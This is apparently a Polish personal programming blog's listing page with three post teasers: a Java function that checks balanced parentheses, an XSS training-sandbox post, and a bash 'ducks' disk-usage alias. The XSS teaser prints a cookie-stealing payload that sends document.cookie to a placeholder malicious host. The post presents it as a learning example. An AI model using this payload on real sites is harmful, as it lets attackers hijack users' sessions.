Nawiasy w Java, Python + lambda

Tytuł posta wygląd na przypadkowy zlepek słów :) Ma jednak sens, który zamierzam pokazać w poniższym poście. Zacznijmy jednak od początku. Na ostatnich zajęciach z podstaw programowania mieliśmy napisać (za dodatkowego plusa) program, którego zadaniem będzie określenie czy w wyrażeniu matematycznym są poprawnie rozmieszczone nawiasy. Udało mi się coś wymodzić, ba nawet dostałem plusa (co wydaje się być niemożliwe przy prowadzącym zajęcia). Jednak jak zwykle prowadzący napisał kod na tablicy ładniejszy. Jeśli jest ktoś zainteresowany to przedstawiam program w wersji Java (odmiana tablicowa :P )

boolean nawiasyOK(String wyr){
   int lic = 0;
   for(int i=0; i < wyr.length() && lic>=0; i++)
   if(wyr.charAt(i) == '(' ) lic++;
   else if(wyr.charAt(i) == ')' ) lic--;
   return lic ==0;
}

Czytaj więciej …

XSS sandbox

Na stronie http://bootcamp.threats.pl/lesson09/index.php zalazłem aplikację umożliwiającą zabawę z XSS. Umożliwia ona użycie trzech form kodowania tekstu wprowadzonego w polu tekstowym. Pierwszy, najbardziej oczywisty znaczy brak zabezpieczeń. Więc na przykład taki kod umożliwia kradzież danych z cookies :

document.write('&lt;img src="http://zlyhost.pl/'+document.cookie+'" &gt;')

Czytaj więciej …

Skrypty z krypty : ducks atack

Tym wpisem chciałbym rozpocząć ciąg, krótkich artykułów o tym co można stworzyć używając skryptów. W większości będą to skrypty napisane w bashu lub w pythonie. Zacznę od przeróbki ciekawego jednowierszowego skryptu znalezionego w książce Serwer linuksowy okiem hakera autorstwa Roba Fkickengera.

Umożliwia on znalezienie „pożeracza dysku” znaczy folderu (folderów) zajmujących najwięcej miejsca na dysku. Oto i on:

alias ducks='du -cks * | sort -rn | head -15'

Czytaj więciej …

Switch to our mobile site